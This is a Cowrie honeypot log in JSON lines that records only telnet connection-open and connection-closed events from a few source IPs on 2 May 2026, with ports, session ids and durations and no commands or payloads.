{"eventid":"cowrie.session.closed","duration":37.252811908721924,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:12.032624Z","src_ip":"65.60.27.33","session":"c06ec9b22366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53290,"dst_ip":"10.17.0.5","dst_port":23,"session":"f02470487955","protocol":"telnet","message":"New connection: 62.210.97.77:53290 (10.17.0.5:23) [session: f02470487955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:12.335895Z"}
{"eventid":"cowrie.session.closed","duration":5.7911903858184814,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:12.653478Z","src_ip":"38.54.119.93","session":"fdd9ab8bba85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53302,"dst_ip":"10.17.0.5","dst_port":23,"session":"45de5c7258b1","protocol":"telnet","message":"New connection: 62.210.97.77:53302 (10.17.0.5:23) [session: 45de5c7258b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:12.839540Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53310,"dst_ip":"10.17.0.5","dst_port":23,"session":"52623c18f073","protocol":"telnet","message":"New connection: 62.210.97.77:53310 (10.17.0.5:23) [session: 52623c18f073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:13.624661Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53314,"dst_ip":"10.17.0.5","dst_port":23,"session":"2463c55228fd","protocol":"telnet","message":"New connection: 62.210.97.77:53314 (10.17.0.5:23) [session: 2463c55228fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:14.187527Z"}
{"eventid":"cowrie.session.closed","duration":33.400031328201294,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:15.173269Z","src_ip":"62.210.97.77","session":"05f5f49d1536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39660,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d1c69fbf5d9","protocol":"telnet","message":"New connection: 65.60.27.33:39660 (10.17.0.5:23) [session: 0d1c69fbf5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:18.226247Z"}
{"eventid":"cowrie.session.closed","duration":33.560609102249146,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:18.530583Z","src_ip":"62.210.97.77","session":"6ef7c2e49a3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.73260951042175,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:19.606976Z","src_ip":"62.210.97.77","session":"7d7879545c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.453258991241455,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:19.718705Z","src_ip":"165.232.131.181","session":"e01b7f070243","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51430,"dst_ip":"10.17.0.5","dst_port":23,"session":"e65ba0764682","protocol":"telnet","message":"New connection: 165.232.131.181:51430 (10.17.0.5:23) [session: e65ba0764682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:22.019336Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46782,"dst_ip":"10.17.0.5","dst_port":23,"session":"623d4ccfa473","protocol":"telnet","message":"New connection: 65.60.27.33:46782 (10.17.0.5:23) [session: 623d4ccfa473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:23.409599Z"}
{"eventid":"cowrie.session.closed","duration":40.19072771072388,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:23.608270Z","src_ip":"65.60.27.33","session":"6a9ad2dca6fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52230,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52bcb45ddc1","protocol":"telnet","message":"New connection: 165.232.131.181:52230 (10.17.0.5:23) [session: e52bcb45ddc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:23.917902Z"}
{"eventid":"cowrie.session.closed","duration":33.98314309120178,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:24.141446Z","src_ip":"62.210.97.77","session":"b96611c57ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50422,"dst_ip":"10.17.0.5","dst_port":23,"session":"7acf356076f7","protocol":"telnet","message":"New connection: 65.60.27.33:50422 (10.17.0.5:23) [session: 7acf356076f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:26.158624Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50426,"dst_ip":"10.17.0.5","dst_port":23,"session":"952a9e42ca6f","protocol":"telnet","message":"New connection: 65.60.27.33:50426 (10.17.0.5:23) [session: 952a9e42ca6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:26.162732Z"}
{"eventid":"cowrie.session.closed","duration":33.72215032577515,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:27.442727Z","src_ip":"62.210.97.77","session":"dbac3bdf70fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.68980002403259,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:30.356784Z","src_ip":"62.210.97.77","session":"94311e7f86a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.48078012466431,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:32.917904Z","src_ip":"62.210.97.77","session":"e7e8a449bd86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.91954708099365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:34.822209Z","src_ip":"62.210.97.77","session":"4f89841ea087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06857466697693,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:35.638727Z","src_ip":"62.210.97.77","session":"7621ef07e5d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41750,"dst_ip":"10.17.0.5","dst_port":23,"session":"872dbb2d32a9","protocol":"telnet","message":"New connection: 62.210.97.77:41750 (10.17.0.5:23) [session: 872dbb2d32a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:35.870488Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57204,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a064ec2ebee","protocol":"telnet","message":"New connection: 165.232.131.181:57204 (10.17.0.5:23) [session: 2a064ec2ebee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:36.655181Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57710,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac42aaa0197","protocol":"telnet","message":"New connection: 165.232.131.181:57710 (10.17.0.5:23) [session: 8ac42aaa0197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:36.867869Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41756,"dst_ip":"10.17.0.5","dst_port":23,"session":"443fba259d66","protocol":"telnet","message":"New connection: 62.210.97.77:41756 (10.17.0.5:23) [session: 443fba259d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:37.810830Z"}
{"eventid":"cowrie.session.closed","duration":36.5133490562439,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:39.206364Z","src_ip":"62.210.97.77","session":"9b280bf793eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51370,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c3dbd030e2","protocol":"telnet","message":"New connection: 62.210.97.77:51370 (10.17.0.5:23) [session: 25c3dbd030e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:39.565671Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51378,"dst_ip":"10.17.0.5","dst_port":23,"session":"d690bbc0a164","protocol":"telnet","message":"New connection: 62.210.97.77:51378 (10.17.0.5:23) [session: d690bbc0a164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:40.756985Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51394,"dst_ip":"10.17.0.5","dst_port":23,"session":"956b9a2b102f","protocol":"telnet","message":"New connection: 62.210.97.77:51394 (10.17.0.5:23) [session: 956b9a2b102f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:40.765593Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51396,"dst_ip":"10.17.0.5","dst_port":23,"session":"a24ccf00d641","protocol":"telnet","message":"New connection: 62.210.97.77:51396 (10.17.0.5:23) [session: a24ccf00d641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:41.258247Z"}
{"eventid":"cowrie.session.closed","duration":47.50006127357483,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:41.343260Z","src_ip":"165.232.131.181","session":"59e16ca6863d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59882,"dst_ip":"10.17.0.5","dst_port":23,"session":"6301dd02d75b","protocol":"telnet","message":"New connection: 165.232.131.181:59882 (10.17.0.5:23) [session: 6301dd02d75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:41.531357Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57082,"dst_ip":"10.17.0.5","dst_port":23,"session":"4add84627c35","protocol":"telnet","message":"New connection: 165.232.131.181:57082 (10.17.0.5:23) [session: 4add84627c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:42.635360Z"}
{"eventid":"cowrie.session.closed","duration":31.800376892089844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:43.293391Z","src_ip":"62.210.97.77","session":"85112e3af8c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43934679031372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:44.278753Z","src_ip":"62.210.97.77","session":"45de5c7258b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58652,"dst_ip":"10.17.0.5","dst_port":23,"session":"c52ec6090346","protocol":"telnet","message":"New connection: 165.232.131.181:58652 (10.17.0.5:23) [session: c52ec6090346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:45.060779Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44720,"dst_ip":"10.17.0.5","dst_port":23,"session":"29047700cb2c","protocol":"telnet","message":"New connection: 65.60.27.33:44720 (10.17.0.5:23) [session: 29047700cb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:45.257612Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51408,"dst_ip":"10.17.0.5","dst_port":23,"session":"aea23e695544","protocol":"telnet","message":"New connection: 62.210.97.77:51408 (10.17.0.5:23) [session: aea23e695544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:45.527639Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60310,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bec15894a34","protocol":"telnet","message":"New connection: 165.232.131.181:60310 (10.17.0.5:23) [session: 4bec15894a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:45.545421Z"}
{"eventid":"cowrie.session.closed","duration":33.944162130355835,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:46.279935Z","src_ip":"62.210.97.77","session":"f02470487955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33814,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c74f31e3806","protocol":"telnet","message":"New connection: 165.232.131.181:33814 (10.17.0.5:23) [session: 3c74f31e3806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:46.696268Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46414,"dst_ip":"10.17.0.5","dst_port":23,"session":"10020203d0e3","protocol":"telnet","message":"New connection: 65.60.27.33:46414 (10.17.0.5:23) [session: 10020203d0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:46.890753Z"}
{"eventid":"cowrie.session.closed","duration":33.314080476760864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:47.501485Z","src_ip":"62.210.97.77","session":"2463c55228fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51410,"dst_ip":"10.17.0.5","dst_port":23,"session":"bad165a5c6ce","protocol":"telnet","message":"New connection: 62.210.97.77:51410 (10.17.0.5:23) [session: bad165a5c6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:47.942642Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56420,"dst_ip":"10.17.0.5","dst_port":23,"session":"74cbc3b43249","protocol":"telnet","message":"New connection: 62.210.97.77:56420 (10.17.0.5:23) [session: 74cbc3b43249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:48.631152Z"}
{"eventid":"cowrie.session.closed","duration":44.751824378967285,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:48.852747Z","src_ip":"165.232.131.181","session":"eabf74e8d7de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.27110719680786,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:48.895642Z","src_ip":"62.210.97.77","session":"52623c18f073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56426,"dst_ip":"10.17.0.5","dst_port":23,"session":"b824863b4681","protocol":"telnet","message":"New connection: 62.210.97.77:56426 (10.17.0.5:23) [session: b824863b4681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:49.501233Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":32788,"dst_ip":"10.17.0.5","dst_port":23,"session":"a477829e333a","protocol":"telnet","message":"New connection: 165.232.131.181:32788 (10.17.0.5:23) [session: a477829e333a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:51.520624Z"}
{"eventid":"cowrie.session.closed","duration":0.29659533500671387,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:51.817095Z","src_ip":"165.232.131.181","session":"a477829e333a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.31035900115967,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:52.006383Z","src_ip":"62.210.97.77","session":"7323940fbd18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56436,"dst_ip":"10.17.0.5","dst_port":23,"session":"adc87adf60c4","protocol":"telnet","message":"New connection: 62.210.97.77:56436 (10.17.0.5:23) [session: adc87adf60c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:52.092905Z"}
{"eventid":"cowrie.session.closed","duration":44.443490505218506,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:55.022989Z","src_ip":"165.232.131.181","session":"4f3482b22f15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.122520446777344,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:12:57.348643Z","src_ip":"65.60.27.33","session":"0d1c69fbf5d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.44443702697754,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:00.853930Z","src_ip":"65.60.27.33","session":"623d4ccfa473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40298,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bec143e5add","protocol":"telnet","message":"New connection: 165.232.131.181:40298 (10.17.0.5:23) [session: 9bec143e5add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:02.126268Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48788,"dst_ip":"10.17.0.5","dst_port":23,"session":"36b4ec9e7c3f","protocol":"telnet","message":"New connection: 62.210.97.77:48788 (10.17.0.5:23) [session: 36b4ec9e7c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:02.660899Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39768,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2e6b99d724","protocol":"telnet","message":"New connection: 165.232.131.181:39768 (10.17.0.5:23) [session: cf2e6b99d724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:03.651673Z"}
{"eventid":"cowrie.session.closed","duration":38.699153900146484,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:04.857654Z","src_ip":"65.60.27.33","session":"7acf356076f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48800,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e87fda0effb","protocol":"telnet","message":"New connection: 62.210.97.77:48800 (10.17.0.5:23) [session: 8e87fda0effb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:04.877509Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41476,"dst_ip":"10.17.0.5","dst_port":23,"session":"639a2c5cb269","protocol":"telnet","message":"New connection: 165.232.131.181:41476 (10.17.0.5:23) [session: 639a2c5cb269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:06.268849Z"}
{"eventid":"cowrie.session.closed","duration":44.624351978302,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:06.643560Z","src_ip":"165.232.131.181","session":"e65ba0764682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40860,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ba9c7699f77","protocol":"telnet","message":"New connection: 65.60.27.33:40860 (10.17.0.5:23) [session: 2ba9c7699f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:07.259230Z"}
{"eventid":"cowrie.session.closed","duration":44.80497097969055,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:08.722648Z","src_ip":"165.232.131.181","session":"e52bcb45ddc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48451280593872,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:09.354873Z","src_ip":"62.210.97.77","session":"872dbb2d32a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.98657298088074,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:10.149214Z","src_ip":"65.60.27.33","session":"952a9e42ca6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53084,"dst_ip":"10.17.0.5","dst_port":23,"session":"609c20e270d6","protocol":"telnet","message":"New connection: 62.210.97.77:53084 (10.17.0.5:23) [session: 609c20e270d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:10.437381Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53100,"dst_ip":"10.17.0.5","dst_port":23,"session":"87501c021db6","protocol":"telnet","message":"New connection: 62.210.97.77:53100 (10.17.0.5:23) [session: 87501c021db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:12.137627Z"}
{"eventid":"cowrie.session.closed","duration":30.872175216674805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:12.403443Z","src_ip":"165.232.131.181","session":"6301dd02d75b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10034775733948,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:13.358483Z","src_ip":"62.210.97.77","session":"a24ccf00d641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44988,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3cf24dc79c5","protocol":"telnet","message":"New connection: 165.232.131.181:44988 (10.17.0.5:23) [session: c3cf24dc79c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:13.732682Z"}
{"eventid":"cowrie.session.closed","duration":33.44620728492737,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:14.211681Z","src_ip":"62.210.97.77","session":"956b9a2b102f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.73975443840027,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:14.550482Z","src_ip":"62.210.97.77","session":"443fba259d66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53108,"dst_ip":"10.17.0.5","dst_port":23,"session":"6204c6fff8b6","protocol":"telnet","message":"New connection: 62.210.97.77:53108 (10.17.0.5:23) [session: 6204c6fff8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:14.935415Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53116,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6d716838c8b","protocol":"telnet","message":"New connection: 62.210.97.77:53116 (10.17.0.5:23) [session: a6d716838c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:16.226398Z"}
{"eventid":"cowrie.session.closed","duration":36.87395143508911,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:16.439502Z","src_ip":"62.210.97.77","session":"25c3dbd030e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53130,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e257077a074","protocol":"telnet","message":"New connection: 62.210.97.77:53130 (10.17.0.5:23) [session: 4e257077a074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:17.546269Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53144,"dst_ip":"10.17.0.5","dst_port":23,"session":"082fcb28a6b8","protocol":"telnet","message":"New connection: 62.210.97.77:53144 (10.17.0.5:23) [session: 082fcb28a6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:17.761241Z"}
{"eventid":"cowrie.session.closed","duration":38.02003192901611,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:13:18.776859Z","src_ip":"62.210.97.77","session":"d690bbc0a164","protocol":"telnet"}
